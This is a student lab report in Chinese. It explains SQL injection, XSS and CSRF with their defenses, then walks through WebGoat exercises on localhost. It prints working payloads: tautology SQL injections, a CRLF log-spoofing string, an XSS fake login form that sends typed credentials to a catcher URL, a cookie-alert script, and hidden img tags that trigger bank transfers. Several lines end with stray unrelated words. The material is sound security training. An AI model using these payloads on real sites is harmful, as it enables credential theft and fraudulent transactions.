Exp9 Web安全基礎

1.實驗後回答問題

1SQL注入攻擊原理,如何防護

SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。javascript

SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。前端

SQL注入攻擊指的是就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。java

防護:git

1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,能夠經過正則表達式,雙"-"進行轉換等。web

2.永遠不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。正則表達式

3.永遠不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。sql

4.不要把祕密信息直接存放,加密或者hash掉密碼和敏感的信息。數據庫

2XSS攻擊的原理,如何防護

XSS攻擊:跨站腳本攻擊。後端

XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。好比這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略。瀏覽器

防護:

基於特徵的防護:

傳統XSS防護多采用特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。

基於代碼修改的防護:

步驟1、對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。

步驟2、實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。

步驟3、確認接收的的內容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤爲是樣式表和javascript),使用HTTP onlycookie

3CSRF攻擊原理,如何防護

CSRF即跨站請求僞造。借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲跨站請求僞造

CSRF通常的攻擊過程是,攻擊者向目標網站注入一個惡意的CSRF攻擊URL地址(跨站url),當(登陸)用戶訪問某特定網頁時,若是用戶點擊了該URL,那麼攻擊就觸發了。

防護

referer

由於僞造的請求通常是從第三方網站發起的,因此第一個防護方法就是判斷 referer 頭,若是不是來自本網站的請求,就斷定爲CSRF攻擊。可是該方法只能防護跨站的csrf攻擊,不能防護同站的csrf攻擊(雖然同站的csrf更難)

使用驗證碼

每個重要的post提交頁面,使用一個驗證碼,由於第三方網站是沒法得到驗證碼的。還有使用手機驗證碼,好比轉帳是使用的手機驗證碼。

使用token

每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定位CSRF攻擊。

將敏感操做又get改成post,而後在表單中使用token. 儘可能使用post也有利於防護CSRF攻擊。

2.實踐過程記錄

先下載webgoat-container-7.0.1-war-exec.jar並將其複製到kali中

kali鍵入java -jar webgoat-container-7.0.1-war-exec.jar運行WebGoat,在firefox瀏覽器中輸入http://localhost:8080/WebGoat進入登陸界面,輸入默認的帳號便可登陸。

1.Numeric SQL Injection 數字SQL注入攻擊

攻擊要求:下面的表單容許用戶查看天氣數據。嘗試注入SQL字符串,結果將顯示全部天氣數據。

 

這個題沒法經過輸入信息進行攻擊,咱們只能按下f12進入網頁後端,把這一處原來的101替換成 101 or 1=1 ,構造永真式,在第一頁選擇哥倫比亞進行查詢便可查詢到表中全部天氣狀況。

 

2.String SQL Injection SQL字符串注入

攻擊要求:下面的表格容許用戶查看他們的信用卡號碼。嘗試注入一個SQL字符串,結果顯示全部的信用卡號碼顯示。

 輸入 'or 1='1  構造永真式:第一個分號用來閉合last_name的第一個分號,而第二個分號用來閉合last_name的第二個分號。將一條語句被強行拆分紅爲兩條語句。而第二句1=1永遠成立,因此咱們能夠查找到所有人及其銀行卡帳號。

 

3.Log Spoofing日誌欺騙

攻擊:下面的灰色區域表示將要登陸到Web服務器的日誌文件中的內容。你的目標是使它像一個用戶名「admin」已成功登陸。 經過向日志文件中添加腳原本提高攻擊。

 先嚐試輸入帳號密碼,發現不論輸入什麼用戶名都會在同一行顯示出來。因此咱們能夠利用回車換行進行注入。

因此咱們在用戶名框中輸入 %0d%0a(換行符)Login Succeeded for username: admin 。登陸成功。

 

4.Phishing with XSS 跨站腳本釣魚攻擊

search框編寫前端代碼並在輸入框中注入這段前端代碼

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;"></div>
<div style="float:left;height:100px;width:50%;"></div>
</div>
<div style="height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

 

按要求輸入username password 便可截獲成功

 

5.Reflected XSS Attacks反射型XSS攻擊

攻擊要求:在務器端驗證全部輸入是一個很好的方法。XSS能夠發生在未經驗證的用戶輸入用於HTTP響應。在反射型XSS攻擊中,攻擊者能夠製做一個URL攻擊腳本發送到另外一個網站,好比電子郵件,而後讓受害者點擊它。

 於Enter your three digit access codeA框內:填寫 <script>alert(document.cookie);</script> ,此段代碼能夠獲取cookie。

 

6.Cross SSite Request Forgery(CSRF)——ssite請求僞造

 攻擊要求:目標是把電子郵件發送到銀行。該電子郵件包含一個圖像,其URL指向惡意請求。能夠經過在右邊的參數中查找「src」和「menu」值來構造連接。 CSRF的電子郵件,是用來匿名的將收件人的資金轉移。

輸入

<img src=' http://localhost:8080/WebGoat/attack? Screen=286 &menu=900 &transferFunds=233 ' width='1' height='1'>

其中286是網頁的scr,900是網頁的menu,4309爲轉錢數額

 

7.CSRF Prompt By-Pass

攻擊要求:與上一個攻擊相似,不一樣的是此次的目標是發送一組包含多個惡意請求的郵件:①資金轉移請求②資金轉移確認信息。

只須要在以前的基礎上加一句確認信息便可:

<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />

 

因此輸入爲:

<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=4309" width="1" height="1" />

<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />

相關文章
相關標籤/搜索